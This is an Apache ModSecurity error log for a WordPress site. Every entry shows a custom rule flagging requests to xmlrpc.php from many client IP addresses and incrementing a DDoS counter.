[Thu Apr 16 11:03:35.602824 2026] [:error] [pid 7880:tid 7888] [client 51.91.186.167:62338] [client 51.91.186.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.91.186.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBRh6aezm4fSGc0yUL1jwAAAYM"]
[Thu Apr 16 11:05:08.397568 2026] [:error] [pid 7880:tid 7906] [client 161.97.171.174:54854] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBR5Kaezm4fSGc0yUL2PQAAAZU"]
[Thu Apr 16 11:07:05.027172 2026] [:error] [pid 57538:tid 57619] [client 157.66.26.248:37016] [client 157.66.26.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.26.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBSWcuMaiEF5SVR2Bd7cAAAAJE"]
[Thu Apr 16 11:10:06.129726 2026] [:error] [pid 57639:tid 57651] [client 195.250.23.93:59658] [client 195.250.23.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.23.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBTDqMCQoTw7TsxWulUOgAAAMU"]
[Thu Apr 16 11:11:23.906906 2026] [:error] [pid 57639:tid 57670] [client 152.53.19.224:36896] [client 152.53.19.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.19.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBTW6MCQoTw7TsxWulUmQAAANg"]
[Thu Apr 16 11:12:39.707147 2026] [:error] [pid 7880:tid 7908] [client 188.166.14.36:43854] [client 188.166.14.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.14.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBTp6aezm4fSGc0yUL5SAAAAZc"]
[Thu Apr 16 11:13:12.447376 2026] [:error] [pid 57536:tid 57571] [client 82.197.70.185:56360] [client 82.197.70.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.197.70.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBTyCQU4faGja6jpDusygAAABc"]
[Thu Apr 16 11:17:37.447686 2026] [:error] [pid 7880:tid 7888] [client 23.105.193.86:56262] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.105.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBU0aaezm4fSGc0yUL73wAAAYM"]
[Thu Apr 16 11:19:58.779763 2026] [:error] [pid 57639:tid 57657] [client 82.165.10.186:50816] [client 82.165.10.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.10.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBVXqMCQoTw7TsxWulXzQAAAMs"]
[Thu Apr 16 11:20:59.714721 2026] [:error] [pid 57639:tid 57650] [client 35.242.254.186:56220] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBVm6MCQoTw7TsxWulYMwAAAMQ"]
[Thu Apr 16 11:22:28.542849 2026] [:error] [pid 29603:tid 29614] [client 146.59.70.139:36754] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBV9FfGOR6fpTWUAzoloAAAAQk"]
[Thu Apr 16 11:23:05.866543 2026] [:error] [pid 57536:tid 57551] [client 52.7.119.212:52190] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBWGSQU4faGja6jpDutoAAAAAM"]
[Thu Apr 16 11:26:49.978891 2026] [:error] [pid 7880:tid 7895] [client 149.202.183.73:46784] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBW-aaezm4fSGc0yUL_rQAAAYo"]
[Thu Apr 16 11:34:01.022382 2026] [:error] [pid 57639:tid 57660] [client 67.205.159.76:58732] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBYqaMCQoTw7TsxWulb-AAAAM4"]
[Thu Apr 16 11:38:08.428347 2026] [:error] [pid 57538:tid 57608] [client 168.227.250.223:28220] [client 168.227.250.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.227.250.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBZoMuMaiEF5SVR2Bd_KQAAAIY"]
[Thu Apr 16 11:44:20.944799 2026] [:error] [pid 29603:tid 29612] [client 212.7.160.134:49994] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBbFFfGOR6fpTWUAzoodwAAAQc"]
[Thu Apr 16 11:45:29.229696 2026] [:error] [pid 57639:tid 57647] [client 107.180.249.30:48766] [client 107.180.249.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.249.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBbWaMCQoTw7TsxWulfQgAAAME"]
[Thu Apr 16 11:54:16.047544 2026] [:error] [pid 49094:tid 49101] [client 57.128.117.142:41702] [client 57.128.117.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.117.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBdaDbDwvcXorHR_MwVxAAAAUU"]
[Thu Apr 16 11:55:40.551608 2026] [:error] [pid 7880:tid 7905] [client 64.92.9.212:50036] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.92.9.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBdvKaezm4fSGc0yUIKHgAAAZQ"]
[Thu Apr 16 11:59:02.217905 2026] [:error] [pid 7880:tid 7899] [client 85.128.143.124:49784] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBehqaezm4fSGc0yUILwgAAAY4"]
[Thu Apr 16 12:02:45.525644 2026] [:error] [pid 49094:tid 49117] [client 85.214.232.59:35556] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBfZTbDwvcXorHR_MwYPwAAAVU"]
[Thu Apr 16 12:04:56.712085 2026] [:error] [pid 57536:tid 57569] [client 155.133.138.66:43785] [client 155.133.138.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.138.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBf6CQU4faGja6jpDuyLAAAABU"]
[Thu Apr 16 12:11:21.929926 2026] [:error] [pid 7880:tid 7889] [client 62.218.30.118:47282] [client 62.218.30.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.218.30.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBhaaaezm4fSGc0yUIRNgAAAYQ"]
[Thu Apr 16 12:11:22.316172 2026] [:error] [pid 57536:tid 57564] [client 157.230.98.69:36108] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBhaiQU4faGja6jpDu2FgAAABA"]
[Thu Apr 16 12:13:47.198922 2026] [:error] [pid 57536:tid 57567] [client 192.250.239.237:60044] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.239.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBh-yQU4faGja6jpDu3LQAAABM"]
[Thu Apr 16 12:14:27.064988 2026] [:error] [pid 57538:tid 57618] [client 34.67.6.8:42562] [client 34.67.6.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.6.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBiI8uMaiEF5SVR2BeErwAAAJA"]
[Thu Apr 16 12:14:47.901791 2026] [:error] [pid 57537:tid 57595] [client 143.244.166.58:42818] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBiN1VQRS8nm73ENAlvpwAAAFQ"]
[Thu Apr 16 12:15:18.572326 2026] [:error] [pid 57536:tid 57561] [client 148.251.46.181:38316] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBiViQU4faGja6jpDu30QAAAA0"]
[Thu Apr 16 12:19:17.599094 2026] [:error] [pid 57639:tid 57654] [client 59.125.102.226:40468] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBjRaMCQoTw7TsxWulrJAAAAMg"]
[Thu Apr 16 12:19:28.442442 2026] [:error] [pid 49094:tid 49115] [client 90.28.198.206:54656] [client 90.28.198.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.28.198.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBjUDbDwvcXorHR_MwcBgAAAVM"]
[Thu Apr 16 12:20:20.748337 2026] [:error] [pid 7880:tid 7885] [client 147.182.174.7:38998] [client 147.182.174.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.174.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBjhKaezm4fSGc0yUITvQAAAYA"]
[Thu Apr 16 12:20:30.738520 2026] [:error] [pid 57536:tid 57569] [client 59.125.102.142:43542] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBjjiQU4faGja6jpDu5QQAAABU"]
[Thu Apr 16 12:22:26.772219 2026] [:error] [pid 29603:tid 29605] [client 35.198.41.118:36356] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBkAlfGOR6fpTWUAzovxwAAAQA"]
[Thu Apr 16 12:25:15.782617 2026] [:error] [pid 49094:tid 49115] [client 157.245.242.100:30740] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBkqzbDwvcXorHR_MwdAQAAAVM"]
[Thu Apr 16 12:26:31.411126 2026] [:error] [pid 7880:tid 7887] [client 15.235.163.7:49046] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBk96aezm4fSGc0yUIVugAAAYI"]
[Thu Apr 16 12:31:27.546584 2026] [:error] [pid 57536:tid 57554] [client 66.94.126.158:45470] [client 66.94.126.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.94.126.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBmHyQU4faGja6jpDvAKQAAAAY"]
[Thu Apr 16 12:36:02.169430 2026] [:error] [pid 57536:tid 57552] [client 51.210.123.31:44428] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.123.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBnMiQU4faGja6jpDvDCQAAAAQ"]
[Thu Apr 16 12:38:53.820659 2026] [:error] [pid 49094:tid 49110] [client 185.74.81.105:50398] [client 185.74.81.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.81.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBn3TbDwvcXorHR_MwhKAAAAU4"]
[Thu Apr 16 12:39:41.777803 2026] [:error] [pid 57639:tid 57670] [client 137.184.91.139:43728] [client 137.184.91.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.91.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBoDaMCQoTw7TsxWulxCAAAANg"]
[Thu Apr 16 12:39:53.828341 2026] [:error] [pid 57536:tid 57554] [client 148.113.202.220:50754] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBoGSQU4faGja6jpDvFyAAAAAY"]
[Thu Apr 16 12:43:57.199571 2026] [:error] [pid 57536:tid 57572] [client 20.212.251.69:40160] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBpDSQU4faGja6jpDvHqAAAABg"]
[Thu Apr 16 12:48:55.461997 2026] [:error] [pid 7880:tid 7886] [client 138.122.43.166:36496] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBqN6aezm4fSGc0yUIhSAAAAYE"]
[Thu Apr 16 12:50:10.143431 2026] [:error] [pid 7880:tid 7902] [client 90.28.198.206:58060] [client 90.28.198.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.28.198.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBqgqaezm4fSGc0yUIhgwAAAZE"]
[Thu Apr 16 12:50:22.404896 2026] [:error] [pid 57639:tid 57657] [client 160.250.187.3:47200] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.187.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBqjqMCQoTw7TsxWul5EAAAAMs"]
[Thu Apr 16 12:50:57.097232 2026] [:error] [pid 7880:tid 7907] [client 138.197.98.9:60140] [client 138.197.98.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.98.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBqsaaezm4fSGc0yUIhtgAAAZY"]
[Thu Apr 16 12:51:27.503085 2026] [:error] [pid 57536:tid 57555] [client 77.95.113.65:58910] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBqzyQU4faGja6jpDvOMQAAAAc"]
[Thu Apr 16 12:53:18.847781 2026] [:error] [pid 49094:tid 49118] [client 45.159.231.196:58806] [client 45.159.231.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.231.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBrPjbDwvcXorHR_MwlKAAAAVY"]
[Thu Apr 16 12:54:01.732474 2026] [:error] [pid 57536:tid 57567] [client 15.235.224.64:49148] [client 15.235.224.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.224.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBraSQU4faGja6jpDvPBAAAABM"]
[Thu Apr 16 12:59:27.439015 2026] [:error] [pid 57639:tid 57657] [client 188.166.244.214:44314] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.244.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBsr6MCQoTw7TsxWul9bgAAAMs"]
[Thu Apr 16 13:00:38.355772 2026] [:error] [pid 57639:tid 57647] [client 85.214.232.59:44114] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBs9qMCQoTw7TsxWul-DQAAAME"]
[Thu Apr 16 13:05:04.498261 2026] [:error] [pid 29603:tid 29627] [client 66.179.191.163:41726] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBuAFfGOR6fpTWUAzo3vgAAARY"]
[Thu Apr 16 13:06:57.202500 2026] [:error] [pid 57537:tid 57579] [client 109.176.198.138:49832] [client 109.176.198.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.176.198.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBucVVQRS8nm73ENAl2FwAAAEQ"]
[Thu Apr 16 13:08:25.766761 2026] [:error] [pid 57536:tid 57555] [client 5.135.142.201:50576] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.142.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBuySQU4faGja6jpDvSggAAAAc"]
[Thu Apr 16 13:10:17.454807 2026] [:error] [pid 57639:tid 57655] [client 185.225.22.51:33290] [client 185.225.22.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.225.22.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBvOaMCQoTw7TsxWumB0AAAAMk"]
[Thu Apr 16 13:13:21.796271 2026] [:error] [pid 29603:tid 29611] [client 128.199.223.38:34178] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBv8VfGOR6fpTWUAzo5JQAAAQY"]
[Thu Apr 16 13:13:36.479991 2026] [:error] [pid 49094:tid 49116] [client 149.129.97.104:50990] [client 149.129.97.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.129.97.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBwADbDwvcXorHR_Mwo5AAAAVQ"]
[Thu Apr 16 13:16:20.027995 2026] [:error] [pid 29603:tid 29628] [client 5.53.124.193:47188] [client 5.53.124.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.53.124.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBwpFfGOR6fpTWUAzo5nQAAARc"]
